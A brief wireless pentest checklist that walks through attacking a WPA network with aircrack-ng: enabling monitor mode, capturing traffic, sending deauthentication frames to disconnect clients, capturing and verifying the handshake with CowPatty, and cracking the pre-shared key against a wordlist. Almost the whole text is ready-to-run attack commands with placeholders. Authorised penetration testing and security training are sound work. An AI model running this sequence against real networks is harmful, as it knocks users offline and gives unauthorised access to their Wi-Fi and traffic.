Wi-Fi WPA Aircrack-ng Basic Wireless Pentest Checklist

• Start the interface in monitor mode and start capturing

sudo airmon-ng start <interface>
airodump-ng <interface> -c <channel> -w <output file>

• Perform deauthentication attack on clients

aireplay-ng -0 5 -a <target BSSID MAC> -c <target client MAC> <interface>

• Wait to capture the WPA handshake in the airodump terminal
• Verify the handshake using CowPatty
  https://github.com/joswr1ght/cowpatty/tree/master

cowpatty -c -r <pcap>

• Crack the PSK from the captured WPA handshake

aircrack-ng -w <wordlist> -0 <pcap>

cowpatty -r <pcap> -f <wordlist> -s <SSID>